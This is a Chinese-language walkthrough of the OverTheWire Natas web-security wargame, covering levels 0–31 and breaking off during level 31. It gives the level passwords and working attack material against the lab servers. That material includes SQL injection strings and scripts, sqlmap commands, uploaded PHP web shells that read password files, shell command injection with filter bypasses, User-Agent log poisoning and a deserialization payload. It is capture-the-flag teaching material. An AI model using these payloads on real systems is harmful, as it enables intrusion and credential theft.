wargames-natas通关笔记

0-10

官网

https://overthewire.org/wargames/natas/

0(源码暴露敏感信息)

访问:http://natas0.natas.labs.overthewire.org/
用户和密码都是natas0
登陆后通过查看页面源码我们可以看到下一级密码为:

gtVrDuiDfck831PqWsLEZy5gyDz1clto

1(源码暴露敏感信息)

访问:http://natas1.natas.labs.overthewire.org/
登进去页面显示:
You can find the password for the next level on this page, but rightclicking has been blocked!
脑海中不禁想起了那两幅图,一副电脑提示你无权关掉这台计算机,一副拔了它的充电插头,哈哈回归正题,像这种情况,暗示着你源码里面还有密码,但是你无法右键查看,我是用的chrome浏览器,直接ctrl+u,快捷键查看源码,类似这种题之前在xctf做到过,果然在源码中得到密码如下:

ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

2(水平越权)

再次查看源码,发现一个一个img标签,点击进去,看到url为http://natas2.natas.labs.overthewire.org/files/pixel.png,几乎是本能的去掉pixel.png继续访问http://natas2.natas.labs.overthewire.org/files,可以看到有一个users.txt,这是因为权限没有设置好导致暴露了敏感信息,得到下级密码:

sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

3(robots协议)

页面显示There is nothing on this page
无奈先再次查看源码,发现提示如下:
<!-- No more information leaks!! Not even Google will find it this time... -->
Google不会找到它,那么robots.txt文件里面肯定有东西
关于robot协议,就是一般网站不希望搜索引擎搜到它们的哪些目录就会写到http://ip/robots.txt文件中,如以下形式

User-agent: *
Disallow: /s3cr3t/

不过这么做倒是有些此地无银三百两的感觉,
访问http://natas3.natas.labs.overthewire.org/s3cr3t/
找到users.txt,得到下级密码为:

Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

4(修改referer)

得到以下提示信息:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
这里就涉及到referer,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,可用于计算网页链接的访问量。
所以我们伪造referer即可,这里我直接用的chrome插件ModHeader谷歌插件中心)进行修改:

当然也还有其他方法,比如通关curl命令(菜鸟教程,curl命令详解):

curl -isu natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ natas4.natas.labs.overthewire.org --referer "http://natas5.natas.labs.overthewire.org/"

这里简单说一下涉及到的-isu参数:

i 输出时包括protocol信息
s 静默模式。该参数不使用也可以,类似于linux里面的-v命令,显示命令执行过程的一些详细信息
u 设置服务器的用户和密码

得到下级密码:

iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

5(篡改cookie)

登陆进去,页面提示如下:
Access disallowed. You are not logged in
提示我们没有登陆,那么首先想到的就是cookie了,那么cookie是做什么的呢,打个比方,就像小区的大门,需要该小区的门禁卡,你才能进入小区一样,你登陆进服务之后,会生成一个cookie,这个cookie保存在你的客户端,下次你登录只需要亮出你的cookie即可,这里顺便一提,如果我的“门禁卡”掉了,cookie被别人窃取,那该怎么办,岂不是很不安全,所以又诞生了token验证,有门禁卡没用,你还得说出你们根据某个规则生成的约定好的暗号,不然你还是进不去,这个暗号就是token了,而且token不是一成不变的,这个就要看服务器端给出的token生成的规则了。

这里我们可以通过curl获取cookie:

curl -isu natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq natas5.natas.labs.overthewire.org | grep -i cookie

注:grep 查找命令,-i忽略大小写
得到Set-Cookie: loggedin=0
这里直觉会让我们把loggedin的值改为1,一个表示不在登陆状态,一个表示在登陆状态,同样的可以使用curl命令修改(当然也可以用modheader插件修改,或者使用burpsuite抓包修改):

curl -isu natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq natas5.natas.labs.overthewire.org --cookie "loggedin=1"

得到下级密码:

aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

6(php include)

比较贴心,还可以看源码,发现有如下脚本:

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

可以看到includes/secret.inc包含了这么一个文件,通过用户输入的secret与之进行对比,判断用户是否输入正确,直接访问:

http://natas6.natas.labs.overthewire.org/includes/secret.inc

得到secret为FOEIUWGHFEEUHOFUOIU
再提交secret得到下级密码:

7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

7(任意文件读取)

登陆进去发现有Home和About两个选项,点击Home后发现url变成了:http://natas7.natas.labs.overthewire.org/index.php?page=home,直觉告诉我们这是一个文件包含,我们将后面的page参数赋值一些其他的值如/,\,或者不赋值,先观察是否有报错,果然访问:http://natas7.natas.labs.overthewire.org/index.php?page=./会有如下报错:
Warning: include(/): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21 Warning: include(): Failed opening '/' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21
我们可以看到报错里面有提到include这个函数,这里就要提到一个词叫文件包含:
文件包含是开发语言自带的一个功能,程序员为了方便,或者是设计需求需要,写了一些文件包含进去,当文件包含的代码文件被写成了一个变量,且这个变量可以由前端传进来,则可能引发文件包含漏洞,分为本地包含和远程包含,可被攻击者利用搜集敏感信息
如此处,我们知道其主机是linux,那么一般都有/etc/passwd这个与用户信息相关的文件,我们访问:http://natas7.natas.labs.overthewire.org/index.php?page=/etc/passwd果然看到了所有的用户信息(但是/etc下存放了用户密码加密后的shadow文件无法读取)。
再次查看源码,发现提示:
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
那直接访问:

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

即可得到下级密码:

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

8(php解密)

又是很贴心的有查看源码的选项,直接来看核心代码:

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

有点php基础便很容易看懂,变量encodedSecret的值为3d3d516343746d4d6d6c315669563362,然后是加密函数encodeSecret()(为了区分前面的变量encodedSecret,此处将该函数加个括号,变量是变量,函数是函数,不要混淆了,概念不一样,虽然它们同名),其参数是secret,后面一段是判断,由前端用户输入的secret值通过post提交,再经过encodeSecret()加密,判断是否为变量encodedSecret的值,也就是3d3d516343746d4d6d6c315669563362,那么我们只需要将其解密即可,加密函数怎么一步步加密的,我们就怎么一步步解密,就像剥洋葱,一层一层的剥开解掉,然后得到secret,那么依次按照bin2hex,strrev,base64进行解密,bin2hex是将字符串转为16进制,strrev是字符串反转(string reverse的缩写)

  • base64这里简单说一下:
    在二进制中,ASCII码是八位,来表示传统字符(如a-z,A-Z,还有一些符号等),base64是将二进制重新划分,6位一组,表示a-z和A-Z,刚好64字符,如果位数不够就添0,全0就用=表示,如下图:

    通过菜鸟php在线运行工具运行如下代码:https://c.runoob.com/compile/1
<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>

得到oubWYf2kBq,提交后得到下级密码:

W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

9(RCE)

再次查看源码,看到以下关键代码:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

passthru()函数和exec()函数类似,可以执行系统命令,如果没有进行限制滥用该函数,很可能会造成RCE(远程命令执行漏洞)。
利用 ;分号截断 grep命令,或者利用&&或||(&&前面命令执行成功,则执行下一条命令,||前面命令执行失败,则执行下一条命令),输入;cat /etc/natas_webpass/natas10;&cat /etc/natas_webpass/natas10;都可以
得到下级密码:

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

[0-9] /etc/natas_webpass/natas10

10(grep正则表达式)

查看源码发现过滤了;|&
那么我们可以利用grep本身就是查找命令,可以利用正则表达式(关于其语法,可参考菜鸟教程)对natas11的密码文件进行查找,

[0-9] /etc/natas_webpass/natas11

得到下级密码:

U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

11-20

11(php解密,常见编码和异或)

仍然可以观察源码,这里涉及到base64加密和异或运算
来看源码中关键的一部分:
前面给出的defaultdata,showpassword默认值为no:

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

然而进行判定时,要showpassword才能显示natas12的密码:

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>

cookie是经过base64_encode(xor_encrypt(json_encode()))加密的:

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

首先我们先获取其cookie:

curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org|grep -i cookie

然后需要对这个加密后的cookie进行解密,获得最初的key值,然后通过key值将password=yes再计算一边cookie,再修改cookie即可获得下级密码

  • 对cookie进行解密
    分两步,1是先进行base64解密,2是异或解密,而异或的逆操作就是异或运算,所以再进行一次异或运算即可(有点类似于rot13)

脚本如下:

<?php
$orig_cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');
function xor_encrypt($in) {
$text = $in;
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$out = '';
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
echo xor_encrypt($orig_cookie);
?>

菜鸟php在线运行工具:https://c.runoob.com/compile/1
得出key为qw8J

根据源码中的函数,我们生成新的cookie,php脚本如下:

<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$out = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
function loadData($def) {
$mydata = $def;
$tempdata = json_decode(xor_encrypt(base64_decode($data)), true);
return $mydata;
}
echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
?>

得到新cookie:ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
依然可以 通过curl修改cookie:

curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"

得到下级密码:

EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

12(文件上传漏洞)

可以上传文件,这里第一时间想到图片马,直接上马,burpsuite还修改后缀,发现不行,参数报错没有定义,可能做了很严格的限制。
那么思路转变,上传一个php文件,让该php文件直接获取/etc/natas_webpass/natas13,然后访问该页面即可
写一个natas12.php:

<?
    passthru('cat /etc/natas_webpass/natas13');
?>

当然你也可以将passthru函数换为system函数,效果也是一样的:

<?
    system('cat /etc/natas_webpass/natas13');
?>

可通过curl命令上传文件到服务器(-F,模拟http表单提交数据,-F后面接@表示要上传的文件)

curl -isu natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 -F filename=randomFileName.php -F uploadedfile=@natas12.php http://natas12.natas.labs.overthewire.org

可以看到返回上传文件所在路径及文件名,访问得到下级密码:

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

13(文件上传-绕过文件头检测)

页面提示我们只能上传图片文件,而且最大为1kb
可以看到源码中有一个exif_imagetype函数,这个仅仅只是对文件头进行校验,也就是我们只需要将文件头伪装为图片即可,如文件头为0xffd8ffe0(关于图片文件头标识可参考:https://blog.csdn.net/LiuBuZhuDeFanHua/article/details/82949144):

echo `printf  "\xff\xd8\xff\xaa"``cat  ./natas12.php` >natas13.php

注:echo命令可以用于创建新文件,``表示将里面的内容当作命令执行,\x表示转义字符,表示后面的字符是16进制数,用echo命令将该图片文件头标识与之前的natas12.php的内容连接起来,但是我们还要进natas13.php改一下改为获取natas14的密码

也可以直接将上一关我们创建的natas12.php,进行修改,直接添加GIF89a的文件头,如下:

GIF89a
<?php
system('cat /etc/natas_webpass/natas14');
?>

上传natas13.php:

curl -isu natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY -F filename=randomFileName.php -F uploadedfile=@natas13.php http://natas13.natas.labs.overthewire.org

通过返回的上传路径进行访问,获得下级密码:

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

14(sql注入)

进去一个古老的登陆界面,一看就是有sql注入的那种,如果你是纯小白,不知道什么是sql注入,或者对sql注入一知半解,那么建议观看此篇博文,讲解的很详细,从代码和原理层面详细分析了sql注入:https://www.cnblogs.com/sillage/p/13561868.html
直接先来一个万能登陆密码
由于不知道是什么闭合,我们百度了一下,发现此题是"闭合,
用户名输入" or 1=1#或者直接在密码出输入" or "1"="1(这关姿势多),点击登陆直接将此关拿下

也可以通过curl命令(不管怎样,原理都是一样的):

 curl -isu natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 http://natas14.natas.labs.overthewire.org?debug=1 -F "username=\"or 1=1 #"  -F "password=1"

下级密码为:

AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

15(sql布尔盲注)

输入 '"发现前者正常,后者报错(虽然屏蔽了详细的报错信息),可以初步判断闭合方式应为"(不考虑有括号的情况下),可以考虑盲注
,虽然平常练习的时候,多推荐手工注入,但是利用工具可以让我们大大提高效率。
此处我们直接sqlmap跑(这里我是在centos7里面跑的,关于sqlmap各个参数可参考:https://www.cnblogs.com/Tempt/p/11194078.html):

python3 sqlmap.py -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"

简单说一下参数:--dbms指定数据库类型,--data,指定post参数,--technique指定注入类型,B表示blind盲注,--dump,保存获得的数据,保存路径在运行完后会有提示。
得到密码:

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

16(正则匹配,RCE)

查看源码,有正则过滤;|&`'"都没法使用,但在PHP中,$()可以在引号中使用,先随便输入一个a进行搜索,发现url变为:

http://natas16.natas.labs.overthewire.org/?needle=a&submit=Search

可以看到是get方式提交,参数是needle,那么以此构造脚本:

# coding=utf-8
import requests
 
url = "http://natas16.natas.labs.overthewire.org/index.php"
auth=requests.auth.HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
 
i=0
while i < len(chr):
    payload = {'needle':'$(grep ^'+flag+chr[i]+' /etc/natas_webpass/natas17)wrong','submit':'Search'}
    req = requests.get(url=url, auth=auth, params=payload)
    if 'wrong' not in req.text:
        flag += chr[i]
        print(flag)
        i=0
        continue
    i+=1

注:该脚本直接copy自https://blog.csdn.net/weixin_42728957/article/details/105582445,本人没系统学过python,但是还是学过c,c艹,java,这段代码还是比较容易看懂,除了脚本编写,这里需要了解的是grep命令配合正则表达式的使用,后续可能会对本关内容进行补充。
下级密码:

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

17(sql时间盲注)

观察源码,username参数没有做过滤
没有输出位置,也没有任何回显
所以只能考虑盲注
那么可以选择burpsuit抓包进行暴力枚举
也可以使用sqlmap
(读者可自行探索)
还可以使用python脚本跑
python脚本如下,来自于:https://blog.csdn.net/winkar/article/details/38620401(使用python脚本跑,建议开个screen在后台跑,等待时间有点长):

#!/usr/bin/env python
 
import requests
url = 'http://natas17.natas.labs.overthewire.org/index.php'
username= 'natas17'
password= '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
key = ""
ttl = 2
 
for pos in range(1,34):
    low = 32
    high = 126
    mid = (high+low)>>1
    
    while mid<high:
        print low,mid,high
        payload= "natas18\" and if(%d<ascii(mid(password,%d,1)),sleep(%d),1) and \"\" like \"" %  (mid, pos,ttl)
        try:
            req = requests.post(url, auth = requests.auth.HTTPBasicAuth(username,password),data={"username":payload},timeout = ttl)
            
        except requests.exceptions.Timeout,e:
            low=mid+1
            mid = (high+low)>>1
            continue
 
        high=mid
        mid = (high+low)>>1
 
    key+=chr(mid)
    print key
file("key","w").write(key)

下级密码为:

xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

18(session枚举&猜解)

随便输入一个用户和密码,登陆进去显示如下:

You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.

观察源码发现,有一个变量maxid,值为640,在createID函数中,为用户随机分配一个1到640的数作为用户的session。
关于cookie和session:

  • Session是在服务端保存的一个数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件中;
  • Cookie是客户端保存用户信息的一种机制,用来记录用户的一些信息,也是实现Session的一种方式。
    比如在此题中,session的值只有1到640,那么其中有一个是admin用户的session,我们就可以通过burpsuit进行暴力破解。

    下级密码:
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

知道了管理员的sessionid为119后,我们也可以用modheader插件修改session查看效果(记得点lock tab不然影响其他网站):

我们还可以用shell脚本进行暴力猜解:

#!/bin/sh

for i in `seq 640` 
do
    echo $i
    curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http://natas18.natas.labs.overthewire.org/  --cookie "PHPSESSID=$i" | grep natas19
done

19(session猜解,常见编码)

抓包发现PHPSESSID为一串16进制的数,将之转换为ascii码发现为id-user格式,那么由此猜测管理员为id-admin,但是这个id是多少我们并不知道,于是需要爆破,根据前面抓包发现是一个三位数,那么我们优先将范围选为1-999
我们使用burpsuit进行爆破:
admin的16进制为:61646d696e
我们将前面的id数值选定为payload,如下图所示:

有效载荷设置如下:

随后可以在选项处把线程修改大一点如35,50,可以增加爆破速度,但是别太大,否则电脑吃不消。
攻击结果如下:

下级密码:

eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

20(session登陆,注入参数)

观察源码
大致能看懂print_credentials()函数,判断$_SESSION[“admin”] == 1后显示密码。
源码中没有向SESSION添加admin的键值对,我们可以通过提交表单对name键值对进行注入,将admin设为1即可,但我们要如何设置呢
再来看myread函数中的一些源码:

//使用换行符分割data数据
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    //使用空格符分割line数据,返回的数组包含2个元素,最后那个元素包含line的剩余部分
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }

看到这里我们就大致明白了,对于提交的data数据使用换行符分割,再将再用空格形成键值对
在url编码中%0A是换行
使用burpsuit抓包,重定向将name设置为qwer%0Aadmin 1,再放包即可:

下级密码:

IFekPyrQXftziDEsUr3x21sYuahypdgJ

21-30

21(共用session,参数注入)

查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码。
第二个页面提示Note: this website is colocated with xxx,说明这两个站点有关联,located坐落于,co词根表示一起,共同
查看第二个页面的源码,没有对表单提交的参数进行检测,那么我们可以用burpsuit抓包添加admin=1,获得对应的PHPSESSID
也可以使用curl命令:

curl -isu natas21:IFekPyrQXftziDEsUr3x21sYuahypdgJ http://natas21-experimenter.natas.labs.overthewire.org -d "submit=update" -d "admin=1"

将获得的PHPSESSID对第一个页面进行替换:

下级密码为:

chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ

22(header重定向)

观察源码,需要添加一个get的参数revelio
但是直接在浏览器添加会发现还是跳转到空白页
我们抓包观察:

GET /?revelio HTTP/1.1
Host: natas22.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic bmF0YXMyMjpjaEc5ZmJlMVRxMmVXVk1nallZRDFNc2ZJdk40NjFrSg==
Connection: close
Cookie: PHPSESSID=dc9n16ekltnrvu6pc9h2fmhnl7
Upgrade-Insecure-Requests: 1

GET处给它改为http://natas22.natas.labs.overthewire.org/?revelio再重定向即可:

下级密码:

D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE

或者直接使用curl命令:

curl -isu natas22:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ http://natas22.natas.labs.overthewire.org?revelio

23(php弱类型)

查看源码:

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

输入的字符串需要包含iloveyou,还要大于10,在php中字符串与数值比较,会从字符串的开头截取数字进行比较
那么前面随便弄个比10大的数就可以了,如999iloveyou
下级密码:

OsRmXFguozKpTZZ5X14zNO43379LZveg

24(strcmp绕过)

查看源码
存在strcmp()函数,strcmp()函数的作用是比较两个字符串,关于该函数简介:

int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。
如果 str1 小于 str2 返回 < 0;
如果 str1 大于 str2 返回 > 0;
如果两者相等,返回 0。

但是strcmp函数无法比较数组,会返回0,将passwd输入为数组即可绕过。

下级密码:

GHF6X7YwACaYYssHVY05cFq83hRktl4c

25(目录遍历,头部注入)

观察下面源码:

function logRequest($message){                      //请求日志
    $log="[". date("d.m.Y H::i:s",time()) ."]";     //时间日期
    $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];  //加http_user_agent
    $log=$log . " \"" . $message ."\"\n";           //加上message
    $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
    fwrite($fd,$log);                               //将日志信息写入文件
    fclose($fd);
}

思路如下:
触发../过滤时,日志文件保存到/var/www/natas/natas25/logs/natas25_session_id().log,会保存http_user_agent,那么user_agent这个地方我们可以考虑注入,写入如下话语(任一句),在get参数处直接将输入lang=../触发过滤,将user_agent处的php语句写到日志文件,让日志文件将我们需要的文件包含进来,再通过遍历目录遍历到日志文件,显示我们想要的信息。源码中会将../替换为空,它使用的if语句,只会替换一次,这样输入..././一番替换下来又变成了../,于是实现绕过,GET:lang=..././..././..././..././..././var/www/natas/natas25/logs/natas25_39n51jvj6b1uka55p3cqqiaic3.log:

如下图所示:

下级密码:

oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

26(php反序列化)

关于php反序列化的详细的例子讲解:
https://www.cnblogs.com/sillage/p/13929558.html
https://www.cnblogs.com/sillage/p/13930811.html
https://www.cnblogs.com/sillage/p/13643920.html#_label10_1

由于本人对php不是很熟悉,以下脚本copy自他人(本文致谢处,第二个链接):

#!/usr/bin/env php
<?php
class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct(){
            // initialise variables
            $this->initMsg="";
            $this->exitMsg="<?echo file_get_contents('/etc/natas_webpass/natas27');?>";
            $this->logFile = "img/hello.php";
      
        }                       
      
      
        function __destruct(){
            // write exit message
            echo "destruct\n";
            echo $this->exitMsg;
            echo "\n";
            echo $this->logFile;
            echo "\n";
        }                       
    }
 
    echo serialize(new Logger());
    echo "\n";
    echo base64_encode(serialize(new Logger()));
    echo "\n";
?>

菜鸟在线php工具:https://c.runoob.com/compile/1
也可以在linux中执行php xx.php得到结果:

得到:

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL2hlbGxvLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjA6IiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjU3OiI8P2VjaG8gZmlsZV9nZXRfY29udGVudHMoJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jyk7Pz4iO30=

抓包替换drawing的值:

访问../img/hello.php即可:

下级密码:

55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

27(mysql溢出截断漏洞)

源码有点长,这里就不放了
第一直觉是sql注入,但是百度了以后,我们发现此关并不能注入
分析源码,注释告诉我们,每五分钟重置一次数据库
总结流程如下:
Receive Input -> Check if user exist -> if exist check credentials -> show data.
Receive Input -> check if user exist -> if dosen't -> create user.
这里面考了两个知识点:
一是字符串存储时若发生“溢出”,mysql会自动truncate到最大宽度;
二是空格在varchar里面会被自动删除。

当我们输入用户名为natas28+空格+任意字符(如a),当空格足够多超过了username存储的字段的长度,在存储时就会把后面的自动截取掉,中间的空格也会随之删除,这时相当于我们为natas28重新赋予了自定义的密码,这个密码可以为空
如输入natas28 a,存储前是不会发生截取的,所以validUser()函数找不到这个这么多空格的用户的,就会进行创建
再直接输入natas28即可看到该用户的密码
下级密码为:

JWwR438wkgTsNKBbcJoowyysdM82YjeF

28(ECB分组密码攻击)

看起来很高端,但其实只要耐心百度并观看别人的教程还是能理解的
先来了解ECB模式,分组加密模式,如下图所示(图来自:https://www.cnblogs.com/happyhippy/archive/2006/12/23/601353.html):

先抓包,先post表单明文提交,然后返回一个get请求,query是乱码:

修改query重定向一下:

提示我们是PKCS#7 padding

再来了解PKCS#7 padding:
假设数据长度需要填充n(n>0)个字节才对齐,那么填充n个字节,每个字节都是n;如果数据本身就已经对齐了,则填充一块长度为块大小的数据,每个字节都是块大小,填充模式的区别

将刚刚得到的query乱码进行url解码,再进行base64解码,得到如下(此处为搜索a时得到的query的值):

随后观看教程:https://www.cnblogs.com/zhengna/p/12348921.html 发现前两行和后两行始终不会改变,字符长度不变时,结尾不会改变(这不是废话吗,以块为单位,长度一样,那后面填充的长度也是一样的,结尾肯定不改变了)
输入9个a,10个a,11个a时发现在10个及以上的a时,第三行(或许应该说第三块)就不会改变了,可以确定块大小为16字节
但是精准传递10个字符发现还是有更多的块,说明还有附加字符
随后发现输入aaaaaaaaaaaaaaaaaa%的加密块相同,说明附加字符时%
于是猜测被加密的是sql查询语句,类似于select XX from XXX where XX like ‘%user_input%’;
我们就考虑将它变为select XX from XXX where XX like ‘%user_input%’ union select password from users #的形式
由于'会被转义为\',无法直接得到带有引号的ECB加密,但是可以通过构造获得,如下:

aaaaaaaaa' union select password from users #############

转义后变成aaaaaaaaa\',十字节正好补齐第三块,而' union select password from users #############正好是48个字符,

对其进行base64编码再进行url编码,脚本如下:

<?php
 
$y="1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39ef89dd8dbec15c6a6d9993a3dc7b7a30886951754f7ad56454eb5d5b6768ee64650a4272280fe5b170eb9fc1bdbdde93d738a5ffb4a4500246775175ae596bbd6f34df339c69edce11f6650bbced62702";
 
$x=urlencode(base64_encode(hex2bin($y)));
 
echo $x;
 
?>
 
//执行PHP代码,得到字符串:
//G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oe%2BJ3Y2%2BwVxqbZmTo9x7ejCIaVF1T3rVZFTrXVtnaO5kZQpCcigP5bFw65%2FBvb3ek9c4pf%2B0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI%3D

将上面字符串代入query,得到下级密码:

airooCaiseiyee8he8xongien9euhe8b

注:本关大部分参考:https://www.cnblogs.com/zhengna/p/12348921.html,个人觉得这个博主写的不是很清楚,笔者也有不少疑惑,奈何自己也不是很懂,也只是边看边学,等哪天有空,多搜集点相关资料,自己再多次实验后,再总结一下

29(perl命令注入、00过滤、绕过截断)

选择下拉框会出现不同的文本,url也随之变化:http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground+2
尝试file=|ls %00,可以看到显示了文件当前目录的文件
直接尝试获取natas30的密码:file=|cat%20/etc/natas_webpass/natas30 %00
提示meeeeeep!
注意到我们查看该目录下面有一个index.pl文件,对该文件进行查看,发现过滤了natas:

于是我们考虑绕过,如单引号,双引号,反斜杠绕过:
file=|cat+/etc/na''tas_webpass/nat''as30%00
file=|cat+/etc/na""tas_webpass/nat""as30%00
file=|cat+/etc/na\tas_webpass/nat\as30%00
对于linux来说,这都是不影响我们输出的:

下级密码为:

wie9iexae0Daihohv8vuu3cei9wahf0e

30(sql注入)

观察源码,对输入的用户名和密码使用了quote方法,会转义string中的特殊字符,添加其需要的外部引号
当quote接收两个参数时,第二个参数决定第一个参数是否进行quote,第二个参数为非字符串类型,则第一个参数不进行quote,由此我们可以实现逃逸quote,使第一个参数不带引号进行注入:

username=natas31&password='xxx' or 1=1 &password=2
username=natas31&password="xxx" or 1=1 &password=2也可以

下级密码:

hay7aecuungiuKaezuathuk9biin0pu1

31-34

31(perl远程命令执行)

注:31-34搬运比较多,因为自己也不是很懂,只能跟着去复现,尽量去理解,33关我没有复现,只能是囫囵吞枣,知道个大概,有这么个东西,复现过程中设置了php.ini也不生效,没有生成我想要的phar文件就有点烦
观察源码
if ($cgi->upload(‘file’)) {}代码中,upload('file')只要求上传参数是文件即可,那么可以构造两个file参数,一个上传文件,一个赋予变量值,这样就能通过upload()校验
my file=cgi->param(‘file’);中,param()返还上传的文件描述符。但是file不能包含两个值,所以在给file赋值时,程序会取列表中的第一个值赋给file。所以如果给第一个file参数赋变量值,第二个file参数赋文件描述符,则file会被赋值为我们输入的变量值,而不是上传的文件描述符。这意味着,此时$file变成了一个常规字符串!
